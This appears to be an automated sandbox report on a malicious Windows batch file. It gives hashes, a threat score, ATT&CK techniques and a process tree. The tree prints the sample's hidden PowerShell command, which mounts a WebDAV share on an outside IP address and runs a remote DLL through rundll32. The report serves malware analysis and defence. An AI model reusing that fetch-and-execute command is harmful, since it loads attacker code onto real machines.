4caad70139fe999d49ff7459bc316aa61ac8ee7fdd97f36d933999f9614aa35b

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 10:16

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General

Target

1876711089164595840.bat
Size

2KB
MD5

3ee4b71b422a27419190d173b7fcaa5b
SHA1

427d8699d05c1bb01411fe0351e81e41bd813f15
SHA256

4caad70139fe999d49ff7459bc316aa61ac8ee7fdd97f36d933999f9614aa35b
SHA512

fc4c72ba3a7cab67f675a70f648516c7c3fdde69a54ccdcd96f58de541f350e78e08f2872d1b36134d57e39e2ec475b05e8748a5e160fa70f1ea455fcc25482c

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2956	wordpad.exe
2956	wordpad.exe
2956	wordpad.exe
2956	wordpad.exe
2956	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 2956	1972	cmd.exe	31
PID 1972 wrote to memory of 2956	1972	cmd.exe	31
PID 1972 wrote to memory of 2956	1972	cmd.exe	31
PID 1972 wrote to memory of 1940	1972	cmd.exe	32
PID 1972 wrote to memory of 1940	1972	cmd.exe	32
PID 1972 wrote to memory of 1940	1972	cmd.exe	32
PID 1940 wrote to memory of 2860	1940	powershell.exe	34
PID 1940 wrote to memory of 2860	1940	powershell.exe	34
PID 1940 wrote to memory of 2860	1940	powershell.exe	34
PID 1940 wrote to memory of 2696	1940	powershell.exe	35
PID 1940 wrote to memory of 2696	1940	powershell.exe	35
PID 1940 wrote to memory of 2696	1940	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1876711089164595840.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1679.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2860
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1679.dll entry
    3⤵
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1940-22-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/1940-23-0x0000000002990000-0x0000000002998000-memory.dmp

Filesize
32KB

Download